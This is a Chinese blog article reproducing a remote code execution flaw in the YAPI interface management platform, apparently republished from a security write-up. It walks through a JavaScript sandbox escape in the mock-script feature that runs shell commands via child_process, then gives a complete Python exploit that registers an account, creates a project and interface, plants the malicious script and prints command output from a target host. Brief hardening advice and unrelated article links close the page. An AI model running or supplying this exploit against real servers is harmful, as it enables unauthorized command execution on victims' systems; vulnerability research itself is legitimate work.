YAPI接口管理平台RCE复现-附exp

2024-04-22 19:38

本文主要是介绍YAPI接口管理平台RCE复现-附exp,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

目录

  • 漏洞简介
  • 影响版本
  • 漏洞复现
    • 手工验证
    • EXP验证
  • 漏洞防御

漏洞简介

YAPI是由去哪儿网移动架构组开发的可视化接口管理工具,是一个可本地部署的、打通前后端及QA的接口管理平台。
漏洞存在于YAPI的mock脚本服务上,是由于mock脚本自定义服务未对JS脚本的命令过滤,用户可以添加任何请求处理脚本,攻击者可利用该漏洞在受影响的服务器上执行任意JS代码。


影响版本

YAPI <= 1.9.2


漏洞复现

手工验证

1、注册账号
在这里插入图片描述
在这里插入图片描述


2、登录后新建项目
在这里插入图片描述在这里插入图片描述


3、设置全局mock脚本及接口
在这里插入图片描述
JS代码如下:

const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("whoami && ls").toString()

4、添加接口
在这里插入图片描述在这里插入图片描述


5、访问mock接口地址,命令执行成功
在这里插入图片描述


EXP验证

python yapi.py -u x.x.x.x -e whoami

在这里插入图片描述代码如下:

# -*- coding: utf-8 -*-import jsonimport requests
import argparsegroup_id = ''
project_id = ''
catid = ''
flag=1def reg(gurl):global flagurl = gurl + "/api/user/reg"header = {'Content-Type': 'application/json;charset=utf-8'}data = '{"email":"zxcc@zxcc.com","password":"zxcczxcc","username":"zxcc"}'rego = requests.post(url=url, headers=header, data=data)# print(rego.text)if str(400) in rego.text:flag = 0session = requests.Session()def login(gurl):url = gurl + "/api/user/login"header = {'Content-Type': 'application/json;charset=utf-8'}data = '{"email":"zxcc@zxcc.com","password":"zxcczxcc"}'logingo = session.post(url=url, headers=header, data=data)# print(logingo.text)# print(session.__dict__)def add(gurl):global group_id, project_id, catidheader = {'Content-Type': 'application/json;charset=utf-8'}turl = gurl + "/api/group/get_mygroup"t1 = session.get(url=turl)group_id = json.loads(t1.text)['data']['_id']url1 = gurl + "/api/project/add"data1 = '{"name":"1","basepath":"/1","group_id":"' + str(group_id) + '","icon":"code-o","color":"green","project_type":"private"}'add1 = session.post(url=url1, headers=header, data=data1)turl2 = gurl + "/api/project/list?group_id=" + str(group_id) + "&page=1&limit=10"t2 = session.get(url=turl2)project_id = json.loads(t2.text)['data']['list'][0]['_id']turl3 = gurl + "/api/interface/list_menu?project_id=" + str(project_id) + ""t3 = session.get(url=turl3)catid = json.loads(t3.text)['data'][0]['_id']url2 = gurl + "/api/interface/add"data2 = '{"method":"GET","catid":"' + str(catid) + '","title":"1","path":"/1","project_id":' + str(project_id) + '}'# print(data1)add2 = session.post(url=url2, headers=header, data=data2)# print(add1.text)# print(add2.text)def run(gurl, exec):turl = gurl + "/api/interface/list?page=1&limit=20&project_id=" + str(project_id) + ""t1 = session.get(url=turl)interface_id = json.loads(t1.text)['data']['list'][0]['_id']url = gurl + "/api/plugin/advmock/save"data = '''{"project_id":"''' + str(project_id) + '''","interface_id":"''' + str(interface_id) + '''","mock_script":"const sandbox = this\\nconst ObjectConstructor = this.constructor\\nconst FunctionConstructor = ObjectConstructor.constructor\\nconst myfun = FunctionConstructor('return process')\\nconst process = myfun()\\nmockJson = process.mainModule.require(\\"child_process\\").execSync(\\"''' + exec + '''\\").toString()","enable":true}'''header = {'Content-Type': 'application/json;charset=utf-8'}cmd = session.post(url=url, data=data, headers=header)# print(cmd.text)result = requests.get(url=gurl + "/mock/" + str(project_id) + "/1/1")print(result.text)if __name__ == '__main__':parser = argparse.ArgumentParser(description="Yapi RCE , need register mode open")parser.add_argument('-u', '--url')parser.add_argument('-e', '--exec', default='whoami & ifconfig || ipconfig')args = parser.parse_args()gurl = str(args.url).rstrip('/')exec = args.execif args.url :# print(gurl)reg(gurl)if flag:login(gurl)add(gurl)run(gurl, exec)else:print('Not support register !')else:print('Need The Target,please add -h / --help')# print(group_id, project_id, catid, '123')

漏洞防御

1、更改Yapi运行端口

2、使用Nginx对Yapi进行反向代理

3、安全组只开放Nginx端口,你可以在Nginx限制IP白名单。

4、关闭Yapi注册

5、关闭Yapi Mock


参考文章:
感谢Azeng师傅提供的EXP
参考微信公众号:星期五实验室

这篇关于YAPI接口管理平台RCE复现-附exp的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/926684

相关文章

Spring Boot集成Druid实现数据源管理与监控的详细步骤

《SpringBoot集成Druid实现数据源管理与监控的详细步骤》本文介绍如何在SpringBoot项目中集成Druid数据库连接池,包括环境搭建、Maven依赖配置、SpringBoot配置文件... 目录1. 引言1.1 环境准备1.2 Druid介绍2. 配置Druid连接池3. 查看Druid监控

Knife4j+Axios+Redis前后端分离架构下的 API 管理与会话方案(最新推荐)

《Knife4j+Axios+Redis前后端分离架构下的API管理与会话方案(最新推荐)》本文主要介绍了Swagger与Knife4j的配置要点、前后端对接方法以及分布式Session实现原理,... 目录一、Swagger 与 Knife4j 的深度理解及配置要点Knife4j 配置关键要点1.Spri

SpringBoot+Redis防止接口重复提交问题

《SpringBoot+Redis防止接口重复提交问题》:本文主要介绍SpringBoot+Redis防止接口重复提交问题,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不... 目录前言实现思路代码示例测试总结前言在项目的使用使用过程中,经常会出现某些操作在短时间内频繁提交。例

springboot下载接口限速功能实现

《springboot下载接口限速功能实现》通过Redis统计并发数动态调整每个用户带宽,核心逻辑为每秒读取并发送限定数据量,防止单用户占用过多资源,确保整体下载均衡且高效,本文给大家介绍spring... 目录 一、整体目标 二、涉及的主要类/方法✅ 三、核心流程图解(简化) 四、关键代码详解1️⃣ 设置

spring中的ImportSelector接口示例详解

《spring中的ImportSelector接口示例详解》Spring的ImportSelector接口用于动态选择配置类,实现条件化和模块化配置,关键方法selectImports根据注解信息返回... 目录一、核心作用二、关键方法三、扩展功能四、使用示例五、工作原理六、应用场景七、自定义实现Impor

使用jenv工具管理多个JDK版本的方法步骤

《使用jenv工具管理多个JDK版本的方法步骤》jenv是一个开源的Java环境管理工具,旨在帮助开发者在同一台机器上轻松管理和切换多个Java版本,:本文主要介绍使用jenv工具管理多个JD... 目录一、jenv到底是干啥的?二、jenv的核心功能(一)管理多个Java版本(二)支持插件扩展(三)环境隔

MybatisPlus service接口功能介绍

《MybatisPlusservice接口功能介绍》:本文主要介绍MybatisPlusservice接口功能介绍,本文给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友... 目录Service接口基本用法进阶用法总结:Lambda方法Service接口基本用法MyBATisP

Python中bisect_left 函数实现高效插入与有序列表管理

《Python中bisect_left函数实现高效插入与有序列表管理》Python的bisect_left函数通过二分查找高效定位有序列表插入位置,与bisect_right的区别在于处理重复元素时... 目录一、bisect_left 基本介绍1.1 函数定义1.2 核心功能二、bisect_left 与

Spring中管理bean对象的方式(专业级说明)

《Spring中管理bean对象的方式(专业级说明)》在Spring框架中,Bean的管理是核心功能,主要通过IoC(控制反转)容器实现,下面给大家介绍Spring中管理bean对象的方式,感兴趣的朋... 目录1.Bean的声明与注册1.1 基于XML配置1.2 基于注解(主流方式)1.3 基于Java

基于Python+PyQt5打造一个跨平台Emoji表情管理神器

《基于Python+PyQt5打造一个跨平台Emoji表情管理神器》在当今数字化社交时代,Emoji已成为全球通用的视觉语言,本文主要为大家详细介绍了如何使用Python和PyQt5开发一个功能全面的... 目录概述功能特性1. 全量Emoji集合2. 智能搜索系统3. 高效交互设计4. 现代化UI展示效果